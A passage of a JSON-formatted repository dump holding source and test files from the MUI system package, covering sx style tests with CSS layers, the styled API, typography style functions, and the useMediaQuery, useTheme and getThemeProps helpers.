]);\n    });\n\n    it('does not crash if the result is undefined', () => {\n      expect(() =>\n        styleFunctionSx({\n          theme,\n          sx: [(t) => t.typography.unknown],\n        }),\n      ).not.to.throw();\n    });\n  });\n\n  describe('Modular CSS layers', () => {\n    it('should wrapped in @layer', () => {\n      const result = styleFunctionSx({\n        theme: {\n          ...theme,\n          modularCssLayers: true,\n        },\n        sx: {\n          color: 'primary.main',\n          bgcolor: 'secondary.main',\n          outline: 1,\n          outlineColor: 'secondary.main',\n          m: 2,\n          p: 1,\n          fontFamily: 'default',\n          fontWeight: 'light',\n          fontSize: 'fontSize',\n          maxWidth: 'sm',\n        },\n      });\n\n      expect(result).to.deep.equal({\n        '@layer sx': {\n          color: 'rgb(0, 0, 255)',\n          backgroundColor: 'rgb(0, 255, 0)',\n          outline: '1px solid',\n          outlineColor: 'rgb(0, 255, 0)',\n          margin: '20px',\n          padding: '10px',\n          fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n          fontWeight: 300,\n          fontSize: 14,\n          maxWidth: 600,\n        },\n      });\n    });\n\n    it('should work with array type', () => {\n      const result = styleFunctionSx({\n        theme: {\n          ...theme,\n          modularCssLayers: true,\n        },\n        sx: [\n          {\n            bgcolor: 'secondary.main',\n          },\n          {\n            color: 'primary.main',\n          },\n        ],\n      });\n\n      expect(result).to.deep.equal([\n        {\n          '@layer sx': {\n            backgroundColor: 'rgb(0, 255, 0)',\n          },\n        },\n        {\n          '@layer sx': {\n            color: 'rgb(0, 0, 255)',\n          },\n        },\n      ]);\n    });\n\n    it('should work with function type', () => {\n      const result = styleFunctionSx({\n        theme: {\n          ...theme,\n          modularCssLayers: true,\n        },\n        sx: (t) => ({\n          color: t.palette.primary.main,\n          bgcolor: t.palette.secondary.main,\n        }),\n      });\n\n      expect(result).to.deep.equal({\n        '@layer sx': {\n          color: 'rgb(0, 0, 255)',\n          backgroundColor: 'rgb(0, 255, 0)',\n        },\n      });\n    });\n\n    it('should work with nested sx', () => {\n      const result = styleFunctionSx({\n        theme: {\n          ...theme,\n          modularCssLayers: true,\n        },\n        sx: {\n          color: 'primary.main',\n          '&:hover': {\n            bgcolor: 'secondary.main',\n          },\n        },\n      });\n\n      expect(result).to.deep.equal({\n        '@layer sx': {\n          color: 'rgb(0, 0, 255)',\n          '&:hover': {\n            backgroundColor: 'rgb(0, 255, 0)',\n          },\n        },\n      });\n    });\n\n    it('should work with nested sx and function', () => {\n      const result = styleFunctionSx({\n        theme: {\n          ...theme,\n          modularCssLayers: true,\n        },\n        sx: {\n          color: 'primary.main',\n          '&:hover': (t) => ({\n            bgcolor: t.palette.secondary.main,\n          }),\n        },\n      });\n\n      expect(result).to.deep.equal({\n        '@layer sx': {\n          color: 'rgb(0, 0, 255)',\n          '&:hover': {\n            backgroundColor: 'rgb(0, 255, 0)',\n          },\n        },\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/styled/index.ts",
    "content": "export { default } from './styled';\n"
  },
  {
    "path": "packages/mui-system/src/styled/styled.d.ts",
    "content": "import { CreateMUIStyled } from '../createStyled';\n\ndeclare const styled: CreateMUIStyled;\n\nexport default styled;\n"
  },
  {
    "path": "packages/mui-system/src/styled/styled.js",
    "content": "import createStyled from '../createStyled';\n\nconst styled = createStyled();\n\nexport default styled;\n"
  },
  {
    "path": "packages/mui-system/src/styled/styled.spec.ts",
    "content": "import { styled } from '@mui/system';\n\ntype OwnerState = {\n  variant?: 'success' | 'error' | 'processing';\n  showChanges: boolean;\n};\n\nconst VariantObjects = styled('div')<{ ownerState: OwnerState } & OwnerState>({\n  font: 'inherit',\n  color: 'inherit',\n  variants: [\n    {\n      props: { variant: 'success' },\n      style: {\n        color: 'red',\n      },\n    },\n    {\n      props: { showChanges: false },\n      style: {\n        background: 'red',\n      },\n    },\n  ],\n});\n\nconst VariantCallbacks = styled('div')<{ ownerState: OwnerState } & OwnerState>({\n  font: 'inherit',\n  color: 'inherit',\n  variants: [\n    {\n      props: ({ ownerState }) => !!ownerState.showChanges,\n      style: {\n        color: 'red',\n      },\n    },\n  ],\n});\n\nconst VariantCallbackOwnerState = styled('div')<{ ownerState: OwnerState }>({\n  font: 'inherit',\n  color: 'inherit',\n  variants: [\n    {\n      props: ({ variant }) => variant === 'success',\n      style: {\n        color: 'red',\n      },\n    },\n  ],\n});\n\n// @ts-expect-error the props callback must return a boolean\nconst VariantCallbacksError = styled('div')<{ ownerState: OwnerState } & OwnerState>({\n  font: 'inherit',\n  color: 'inherit',\n  variants: [\n    {\n      props: ({ ownerState }) => ownerState.variant,\n      style: {\n        color: 'red',\n      },\n    },\n  ],\n});\n"
  },
  {
    "path": "packages/mui-system/src/styled/styled.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport { styled, ThemeProvider } from '@mui/system';\n\nimport createTheme from '@mui/system/createTheme';\n\ndescribe('styled', () => {\n  const { render } = createRenderer();\n\n  it('should work', () => {\n    const Div = styled('div')`\n      width: 200px;\n    `;\n\n    const { container } = render(<Div>Test</Div>);\n\n    expect(container.firstChild).toHaveComputedStyle({\n      width: '200px',\n    });\n  });\n\n  it('should work when styles are object', () => {\n    const Div = styled('div')({\n      width: '200px',\n    });\n\n    const { container } = render(<Div>Test</Div>);\n\n    expect(container.firstChild).toHaveComputedStyle({\n      width: '200px',\n    });\n  });\n\n  it('should use defaultTheme if no theme is provided', () => {\n    const Div = styled('div')`\n      width: ${(props) => props.theme.spacing(1)};\n    `;\n\n    const { container } = render(<Div>Test</Div>);\n\n    expect(container.firstChild).toHaveComputedStyle({\n      width: '8px',\n    });\n  });\n\n  it('should use defaultTheme if no theme is provided when styles are object', () => {\n    const Div = styled('div')((props) => ({\n      width: props.theme.spacing(1),\n    }));\n\n    const { container } = render(<Div>Test</Div>);\n\n    expect(container.firstChild).toHaveComputedStyle({\n      width: '8px',\n    });\n  });\n\n  it('should use theme from context if available', () => {\n    const Div = styled('div')`\n      width: ${(props) => props.theme.spacing(1)};\n    `;\n\n    const theme = createTheme({\n      spacing: 10,\n    });\n\n    const { container } = render(\n      <ThemeProvider theme={theme}>\n        <Div>Test</Div>\n      </ThemeProvider>,\n    );\n\n    expect(container.firstChild).toHaveComputedStyle({\n      width: '10px',\n    });\n  });\n\n  it('should use theme from context if available when styles are object', () => {\n    const Div = styled('div')((props) => ({\n      width: props.theme.spacing(1),\n    }));\n\n    const theme = createTheme({\n      spacing: 10,\n    });\n\n    const { container } = render(\n      <ThemeProvider theme={theme}>\n        <Div>Test</Div>\n      </ThemeProvider>,\n    );\n\n    expect(container.firstChild).toHaveComputedStyle({\n      width: '10px',\n    });\n  });\n\n  describe('dynamic styles', () => {\n    it('can adapt styles to props', () => {\n      const Div = styled('div')`\n        font-size: ${(props) => props.scale * 8}px;\n        padding-left: ${(props) => props.scale * 2}px;\n      `;\n      render(<Div scale={4} data-testid=\"target\" />);\n\n      expect(screen.getByTestId('target')).toHaveComputedStyle({\n        fontSize: '32px',\n        paddingLeft: '8px',\n      });\n    });\n\n    it('can adapt styles to props when styles are object', () => {\n      const DivObj = styled('div')((props) => ({\n        fontSize: `${props.scale * 8}px`,\n        paddingLeft: `${props.scale * 2}px`,\n      }));\n      render(<DivObj scale={4} data-testid=\"target\" />);\n\n      expect(screen.getByTestId('target')).toHaveComputedStyle({\n        fontSize: '32px',\n        paddingLeft: '8px',\n      });\n    });\n  });\n\n  describe('muiOptions', () => {\n    /**\n     * @type {ReturnType<typeof createTheme>}\n     */\n    let theme;\n    /**\n     * @type {ReturnType<typeof styled>}\n     */\n    let Test;\n    /**\n     * @type {ReturnType<typeof styled>}\n     */\n    let TestObj;\n\n    beforeAll(() => {\n      theme = createTheme({\n        palette: {\n          primary: {\n            main: 'rgb(0, 0, 255)',\n          },\n        },\n        typography: {\n          body1: {\n            fontFamily: 'Roboto',\n            fontWeight: 300,\n          },\n        },\n        components: {\n          MuiTest: {\n            variants: [\n              {\n                props: { variant: 'rect', size: 'large' },\n                style: {\n                  width: '400px',\n                  height: '400px',\n                },\n              },\n            ],\n            styleOverrides: {\n              root: {\n                width: '250px',\n              },\n              rect: {\n                height: '250px',\n              },\n            },\n          },\n        },\n      });\n\n      const testOverridesResolver = (props, styles) => ({\n        ...styles.root,\n        ...(props.variant && styles[props.variant]),\n      });\n\n      Test = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiTest',\n        slot: 'Root',\n        overridesResolver: testOverridesResolver,\n      })`\n        width: 200px;\n        height: 300px;\n      `;\n\n      TestObj = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiTest',\n        overridesResolver: testOverridesResolver,\n      })({\n        width: '200px',\n        height: '300px',\n      });\n    });\n\n    it('should support override as long as a resolver is provided', () => {\n      const CustomTest = styled('div', {\n        name: 'MuiTest',\n        slot: 'Rect',\n      })({\n        width: '200px',\n        height: '300px',\n      });\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <CustomTest>Test</CustomTest>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '200px',\n        height: '250px',\n      });\n    });\n\n    it('should work with specified muiOptions', () => {\n      const { container } = render(<Test>Test</Test>);\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '200px',\n        height: '300px',\n      });\n    });\n\n    it('should work with specified muiOptions when styles are object', () => {\n      const { container } = render(<TestObj>Test</TestObj>);\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '200px',\n        height: '300px',\n      });\n    });\n\n    it('overrides should be respected', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <Test>Test</Test>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '250px',\n        height: '300px',\n      });\n    });\n\n    it('overrides should be respected when styles are object', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestObj>Test</TestObj>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '250px',\n        height: '300px',\n      });\n    });\n\n    it('overrides should be respected when prop is specified', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <Test variant=\"rect\">Test</Test>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '250px',\n        height: '250px',\n      });\n    });\n\n    it('overrides should be respected when prop is specified when styles are object', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestObj variant=\"rect\">Test</TestObj>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '250px',\n        height: '250px',\n      });\n    });\n\n    it('variants should be skipped for non root slots', () => {\n      const TestSlot = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiTest',\n        slot: 'Slot',\n      })`\n        width: 200px;\n        height: 300px;\n      `;\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestSlot variant=\"rect\" size=\"large\">\n            Test\n          </TestSlot>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '200px',\n        height: '300px',\n      });\n    });\n\n    it('variants should not be skipped if overridesResolver is not defined', () => {\n      const TestSlot = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiTest',\n        slot: 'Root',\n      })`\n        width: 800px;\n        height: 300px;\n      `;\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestSlot variant=\"rect\" size=\"large\">\n            Test\n          </TestSlot>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '400px',\n        height: '400px',\n      });\n    });\n\n    it('variants should respect skipVariantsResolver if defined', () => {\n      const TestSlot = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiTest',\n        slot: 'Slot',\n        skipVariantsResolver: false,\n      })`\n        width: 200px;\n        height: 300px;\n      `;\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestSlot variant=\"rect\" size=\"large\">\n            Test\n          </TestSlot>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '400px',\n        height: '400px',\n      });\n    });\n\n    it('variants should win over overrides', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <Test variant=\"rect\" size=\"large\">\n            Test\n          </Test>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '400px',\n        height: '400px',\n      });\n    });\n\n    it('variants should win over overrides when styles are object', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestObj variant=\"rect\" size=\"large\">\n            Test\n          </TestObj>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '400px',\n        height: '400px',\n      });\n    });\n\n    it('styled wrapper should win over variants', () => {\n      const CustomTest = styled(Test)`\n        width: 500px;\n      `;\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <CustomTest variant=\"rect\" size=\"large\">\n            Test\n          </CustomTest>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '500px',\n        height: '400px',\n      });\n    });\n\n    it('styled wrapper should win over variants when styles are object', () => {\n      const CustomTest = styled(TestObj)({\n        width: '500px',\n      });\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <CustomTest variant=\"rect\" size=\"large\">\n            Test\n          </CustomTest>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '500px',\n        height: '400px',\n      });\n    });\n\n    it('should support variants with props callbacks', () => {\n      const customTheme = createTheme({\n        components: {\n          MuiTest: {\n            variants: [\n              {\n                props: ({ size }) => size === 'large',\n                style: {\n                  width: '400px',\n                  height: '400px',\n                },\n              },\n              {\n                props: ({ size }) => size === 'small',\n                style: ({ theme: t }) => ({\n                  width: t.spacing(10),\n                  height: t.spacing(10),\n                }),\n              },\n            ],\n          },\n        },\n      });\n\n      render(\n        <ThemeProvider theme={customTheme}>\n          <TestObj data-testid=\"large\" size=\"large\">\n            Test\n          </TestObj>\n          <TestObj data-testid=\"small\" size=\"small\">\n            Test\n          </TestObj>\n        </ThemeProvider>,\n      );\n\n      expect(screen.getByTestId('large')).toHaveComputedStyle({\n        width: '400px',\n        height: '400px',\n      });\n      expect(screen.getByTestId('small')).toHaveComputedStyle({\n        width: theme.spacing(10),\n        height: theme.spacing(10),\n      });\n    });\n\n    it('should resolve the sx prop of object type', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <Test sx={{ color: 'primary.main' }}>Test</Test>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        color: 'rgb(0, 0, 255)',\n      });\n    });\n\n    it('should resolve the sx prop of function type', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <Test sx={(userTheme) => userTheme.typography.body1}>Test</Test>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        fontFamily: 'Roboto',\n        fontWeight: '300',\n      });\n    });\n\n    it('should resolve the sx prop of object type when styles are object', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestObj sx={{ color: 'primary.main' }}>Test</TestObj>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        color: 'rgb(0, 0, 255)',\n      });\n    });\n\n    it('should resolve the sx prop of function type when styles are object', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestObj sx={(userTheme) => userTheme.typography.body1}>Test</TestObj>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        fontFamily: 'Roboto',\n        fontWeight: '300',\n      });\n    });\n\n    it('should resolve the theme.unstable_sx when used in an array styles', () => {\n      const TestComponent = styled('div')(\n        ({ theme: userTheme }) =>\n          userTheme.unstable_sx({\n            mt: 2,\n          }),\n        ({ theme: userTheme }) =>\n          userTheme.unstable_sx({\n            mb: 2,\n          }),\n      );\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestComponent>Test</TestComponent>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        marginTop: '16px',\n        marginBottom: '16px',\n      });\n    });\n\n    it('should resolve the theme.unstable_sx when used in an pseudo object', () => {\n      const TestComponent = styled('div')(({ theme: userTheme }) => ({\n        '&.test-classname': userTheme.unstable_sx({\n          mt: 2,\n        }),\n      }));\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestComponent className=\"test-classname\">Test</TestComponent>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        marginTop: '16px',\n      });\n    });\n\n    it('should respect the skipSx option', () => {\n      const testOverridesResolver = (props, styles) => ({\n        ...styles.root,\n        ...(props.variant && styles[props.variant]),\n      });\n\n      const TestNoSx = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        overridesResolver: testOverridesResolver,\n        skipSx: true,\n      })(({ sx = {} }) => ({\n        ...(sx.mt && {\n          marginTop: `${sx.mt * -1}px`,\n        }),\n      }));\n\n      const { container: containerNoSx } = render(\n        <ThemeProvider theme={theme}>\n          <TestNoSx sx={{ mt: 1 }}>Test</TestNoSx>\n        </ThemeProvider>,\n      );\n\n      // sx prop ignored, custom function takes place\n      expect(containerNoSx.firstChild).toHaveComputedStyle({\n        marginTop: '-1px',\n      });\n\n      const TestWithSx = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        overridesResolver: testOverridesResolver,\n      })(({ sx = {} }) => ({\n        ...(sx.mt && {\n          marginTop: `${sx.m * -1}px`,\n        }),\n      }));\n\n      const { container: containerSxProp } = render(\n        <ThemeProvider theme={theme}>\n          <TestWithSx sx={{ mt: 1 }}>Test</TestWithSx>\n        </ThemeProvider>,\n      );\n\n      // default sx props takes place\n      expect(containerSxProp.firstChild).toHaveComputedStyle({\n        marginTop: '8px',\n      });\n    });\n\n    it('should set displayName properly', () => {\n      const Component = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiComponent',\n      })`\n        width: 200px;\n        height: 300px;\n      `;\n\n      expect(Component.displayName).to.equal('MuiComponent');\n    });\n\n    it('should set displayName as name + slot if both are specified', () => {\n      const Component = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiComponent',\n        slot: 'Root',\n      })`\n        width: 200px;\n        height: 300px;\n      `;\n\n      expect(Component.displayName).to.equal('MuiComponentRoot');\n    });\n\n    it('should set the className when generating the classes', () => {\n      const Component = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiComponent',\n        slot: 'Slot',\n      })`\n        width: 200px;\n        height: 300px;\n      `;\n\n      const { container } = render(<Component>Test</Component>);\n\n      const classList = Array.from(container.firstChild.classList);\n      const regExp = /.*-MuiComponent-slot$/;\n      const regExpSC = /MuiComponent-slot.*/;\n      let containsValidClass = false;\n\n      classList.forEach((className) => {\n        if (regExp.test(className) || regExpSC.test(className)) {\n          containsValidClass = true;\n        }\n      });\n\n      expect(containsValidClass).to.equal(true);\n    });\n\n    it('should set the className as root if no slot is specified', () => {\n      const Component = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiComponent',\n      })`\n        width: 200px;\n        height: 300px;\n      `;\n\n      const { container } = render(<Component>Test</Component>);\n\n      const classList = Array.from(container.firstChild.classList);\n      const regExp = /.*-MuiComponent-root$/;\n      const regExpSC = /MuiComponent-root.*/;\n      let containsValidClass = false;\n\n      classList.forEach((className) => {\n        if (regExp.test(className) || regExpSC.test(className)) {\n          containsValidClass = true;\n        }\n      });\n\n      expect(containsValidClass).to.equal(true);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/typography/index.ts",
    "content": "export { default } from './typography';\nexport * from './typography';\n"
  },
  {
    "path": "packages/mui-system/src/typography/typography.d.ts",
    "content": "import { PropsFor, SimpleStyleFunction } from '../style';\n\nexport const typographyVariant: SimpleStyleFunction<'typography'>;\nexport const fontFamily: SimpleStyleFunction<'fontFamily'>;\nexport const fontSize: SimpleStyleFunction<'fontSize'>;\nexport const fontStyle: SimpleStyleFunction<'fontStyle'>;\nexport const fontWeight: SimpleStyleFunction<'fontWeight'>;\nexport const letterSpacing: SimpleStyleFunction<'letterSpacing'>;\nexport const lineHeight: SimpleStyleFunction<'lineHeight'>;\nexport const textAlign: SimpleStyleFunction<'textAlign'>;\nexport const textTransform: SimpleStyleFunction<'textTransform'>;\n\ndeclare const typography: SimpleStyleFunction<\n  | 'typography'\n  | 'fontFamily'\n  | 'fontSize'\n  | 'fontStyle'\n  | 'fontWeight'\n  | 'letterSpacing'\n  | 'lineHeight'\n  | 'textAlign'\n  | 'textTransform'\n>;\n\nexport type TypographyProps = PropsFor<typeof typography>;\n\nexport default typography;\n"
  },
  {
    "path": "packages/mui-system/src/typography/typography.js",
    "content": "import style from '../style';\nimport compose from '../compose';\n\nexport const fontFamily = style({\n  prop: 'fontFamily',\n  themeKey: 'typography',\n});\n\nexport const fontSize = style({\n  prop: 'fontSize',\n  themeKey: 'typography',\n});\n\nexport const fontStyle = style({\n  prop: 'fontStyle',\n  themeKey: 'typography',\n});\n\nexport const fontWeight = style({\n  prop: 'fontWeight',\n  themeKey: 'typography',\n});\n\nexport const letterSpacing = style({\n  prop: 'letterSpacing',\n});\n\nexport const textTransform = style({\n  prop: 'textTransform',\n});\n\nexport const lineHeight = style({\n  prop: 'lineHeight',\n});\n\nexport const textAlign = style({\n  prop: 'textAlign',\n});\n\nexport const typographyVariant = style({\n  prop: 'typography',\n  cssProperty: false,\n  themeKey: 'typography',\n});\n\nconst typography = compose(\n  typographyVariant,\n  fontFamily,\n  fontSize,\n  fontStyle,\n  fontWeight,\n  letterSpacing,\n  lineHeight,\n  textAlign,\n  textTransform,\n);\n\nexport default typography;\n"
  },
  {
    "path": "packages/mui-system/src/useMediaQuery/index.ts",
    "content": "export { default } from './useMediaQuery';\nexport * from './useMediaQuery';\n"
  },
  {
    "path": "packages/mui-system/src/useMediaQuery/useMediaQuery.ts",
    "content": "'use client';\nimport * as React from 'react';\nimport useEnhancedEffect from '@mui/utils/useEnhancedEffect';\nimport { getThemeProps } from '../useThemeProps';\nimport useTheme from '../useThemeWithoutDefault';\n\nexport interface UseMediaQueryOptions {\n  /**\n   * As `window.matchMedia()` is unavailable on the server,\n   * it returns a default matches during the first mount.\n   * @default false\n   */\n  defaultMatches?: boolean | undefined;\n  /**\n   * You can provide your own implementation of matchMedia.\n   * This can be used for handling an iframe content window.\n   */\n  matchMedia?: typeof window.matchMedia | undefined;\n  /**\n   * To perform the server-side hydration, the hook needs to render twice.\n   * A first time with `defaultMatches`, the value of the server, and a second time with the resolved value.\n   * This double pass rendering cycle comes with a drawback: it's slower.\n   * You can set this option to `true` if you use the returned value **only** client-side.\n   * @default false\n   */\n  noSsr?: boolean | undefined;\n  /**\n   * You can provide your own implementation of `matchMedia`, it's used when rendering server-side.\n   */\n  ssrMatchMedia?: ((query: string) => { matches: boolean }) | undefined;\n}\n\n// TODO React 17: Remove `useMediaQueryOld` once React 17 support is removed\nfunction useMediaQueryOld(\n  query: string,\n  defaultMatches: boolean,\n  matchMedia: typeof window.matchMedia | null,\n  ssrMatchMedia: ((query: string) => { matches: boolean }) | null,\n  noSsr: boolean,\n): boolean {\n  const [match, setMatch] = React.useState(() => {\n    if (noSsr && matchMedia) {\n      return matchMedia!(query).matches;\n    }\n    if (ssrMatchMedia) {\n      return ssrMatchMedia(query).matches;\n    }\n\n    // Once the component is mounted, we rely on the\n    // event listeners to return the correct matches value.\n    return defaultMatches;\n  });\n\n  useEnhancedEffect(() => {\n    if (!matchMedia) {\n      return undefined;\n    }\n\n    const queryList = matchMedia!(query);\n    const updateMatch = () => {\n      setMatch(queryList.matches);\n    };\n\n    updateMatch();\n    queryList.addEventListener('change', updateMatch);\n\n    return () => {\n      queryList.removeEventListener('change', updateMatch);\n    };\n  }, [query, matchMedia]);\n\n  return match;\n}\n\n// See https://github.com/mui/material-ui/issues/41190#issuecomment-2040873379 for why\nconst safeReact = { ...React };\nconst maybeReactUseSyncExternalStore: undefined | any = safeReact.useSyncExternalStore;\n\nfunction useMediaQueryNew(\n  query: string,\n  defaultMatches: boolean,\n  matchMedia: typeof window.matchMedia | null,\n  ssrMatchMedia: ((query: string) => { matches: boolean }) | null,\n  noSsr: boolean,\n): boolean {\n  const getDefaultSnapshot = React.useCallback(() => defaultMatches, [defaultMatches]);\n  const getServerSnapshot = React.useMemo(() => {\n    if (noSsr && matchMedia) {\n      return () => matchMedia!(query).matches;\n    }\n\n    if (ssrMatchMedia !== null) {\n      const { matches } = ssrMatchMedia(query);\n      return () => matches;\n    }\n    return getDefaultSnapshot;\n  }, [getDefaultSnapshot, query, ssrMatchMedia, noSsr, matchMedia]);\n  const [getSnapshot, subscribe] = React.useMemo(() => {\n    if (matchMedia === null) {\n      return [getDefaultSnapshot, () => () => {}];\n    }\n\n    const mediaQueryList = matchMedia(query);\n\n    return [\n      () => mediaQueryList.matches,\n      (notify: () => void) => {\n        mediaQueryList.addEventListener('change', notify);\n        return () => {\n          mediaQueryList.removeEventListener('change', notify);\n        };\n      },\n    ];\n  }, [getDefaultSnapshot, matchMedia, query]);\n  const match = maybeReactUseSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);\n\n  return match;\n}\n\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function unstable_createUseMediaQuery(params: { themeId?: string | undefined } = {}) {\n  const { themeId } = params;\n  return function useMediaQuery<Theme = unknown>(\n    queryInput: string | ((theme: Theme) => string),\n    options: UseMediaQueryOptions = {},\n  ): boolean {\n    let theme = useTheme<Theme>();\n    if (theme && themeId) {\n      theme = (theme as Record<string, any>)[themeId] || theme;\n    }\n    // Wait for jsdom to support the match media feature.\n    // All the browsers MUI support have this built-in.\n    // This defensive check is here for simplicity.\n    // Most of the time, the match media logic isn't central to people tests.\n    const supportMatchMedia =\n      typeof window !== 'undefined' && typeof window.matchMedia !== 'undefined';\n    const {\n      defaultMatches = false,\n      matchMedia = supportMatchMedia ? window.matchMedia : null,\n      ssrMatchMedia = null,\n      noSsr = false,\n    } = getThemeProps({ name: 'MuiUseMediaQuery', props: options, theme });\n\n    if (process.env.NODE_ENV !== 'production') {\n      if (typeof queryInput === 'function' && theme === null) {\n        console.error(\n          [\n            'MUI: The `query` argument provided is invalid.',\n            'You are providing a function without a theme in the context.',\n            'One of the parent elements needs to use a ThemeProvider.',\n          ].join('\\n'),\n        );\n      }\n    }\n\n    let query = typeof queryInput === 'function' ? queryInput(theme) : queryInput;\n    query = query.replace(/^@media( ?)/m, '');\n\n    if (query.includes('print')) {\n      console.warn(\n        [\n          `MUI: You have provided a \\`print\\` query to the \\`useMediaQuery\\` hook.`,\n          'Using the print media query to modify print styles can lead to unexpected results.',\n          'Consider using the `displayPrint` field in the `sx` prop instead.',\n          'More information about `displayPrint` on our docs: https://mui.com/system/display/#display-in-print.',\n        ].join('\\n'),\n      );\n    }\n\n    const useMediaQueryImplementation =\n      maybeReactUseSyncExternalStore !== undefined ? useMediaQueryNew : useMediaQueryOld;\n    const match = useMediaQueryImplementation(\n      query,\n      defaultMatches,\n      matchMedia,\n      ssrMatchMedia,\n      noSsr,\n    );\n\n    if (process.env.NODE_ENV !== 'production') {\n      // eslint-disable-next-line react-hooks/rules-of-hooks\n      React.useDebugValue({ query, match });\n    }\n\n    return match;\n  };\n}\n\nconst useMediaQuery = unstable_createUseMediaQuery();\n\nexport default useMediaQuery;\n"
  },
  {
    "path": "packages/mui-system/src/useTheme/index.ts",
    "content": "export { default } from './useTheme';\nexport * from './useTheme';\n"
  },
  {
    "path": "packages/mui-system/src/useTheme/useTheme.d.ts",
    "content": "import { Theme } from '../createTheme';\n\nexport default function useTheme<T = Theme>(defaultTheme?: T): T;\n"
  },
  {
    "path": "packages/mui-system/src/useTheme/useTheme.js",
    "content": "'use client';\nimport createTheme from '../createTheme';\nimport useThemeWithoutDefault from '../useThemeWithoutDefault';\n\nexport const systemDefaultTheme = createTheme();\n\nfunction useTheme(defaultTheme = systemDefaultTheme) {\n  return useThemeWithoutDefault(defaultTheme);\n}\n\nexport default useTheme;\n"
  },
  {
    "path": "packages/mui-system/src/useThemeProps/getThemeProps.d.ts",
    "content": "export {};\n\ntype ThemedProps<Theme, Name extends keyof any> = Theme extends {\n  components: Record<Name, { defaultProps: infer Props }>;\n}\n  ? Props\n  : {};\n\nexport default function getThemeProps<Theme, Props, Name extends keyof any>(params: {\n  props: Props;\n  name: Name;\n  theme?: Theme | undefined;\n}): Props & ThemedProps<Theme, Name>;\n"
  },
  {
    "path": "packages/mui-system/src/useThemeProps/getThemeProps.js",
    "content": "import resolveProps from '@mui/utils/resolveProps';\n\nexport default function getThemeProps(params) {\n  const { theme, name, props } = params;\n\n  if (\n    !theme ||\n    !theme.components ||\n    !theme.components[name] ||\n    !theme.components[name].defaultProps\n  ) {\n    return props;\n  }\n\n  return resolveProps(theme.components[name].defaultProps, props);\n}\n"
  },
  {
    "path": "packages/mui-system/src/useThemeProps/getThemeProps.test.js",
